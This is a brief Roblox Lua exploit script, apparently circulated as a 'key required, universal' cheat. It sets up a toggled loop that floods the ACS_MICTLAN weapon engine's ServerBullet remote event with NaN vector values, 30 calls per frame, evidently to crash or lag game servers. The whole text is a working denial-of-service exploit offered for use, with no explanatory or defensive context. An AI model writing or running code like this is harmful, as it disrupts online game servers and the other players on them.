
Key RequiredUniversal

local Storage = game:GetService('ReplicatedStorage');
local ACS_Engine = Storage.ACS_MICTLAN;
local Many = 30;
local Remote = ACS_Engine.Events.ServerBullet;
shared.Crash = not shared.Crash;
while shared.Crash do
for i = 1, Many do
Remote:FireServer(Vector3.new(0/0/0), Vector3.new(0/0/0));
end
task.wait();
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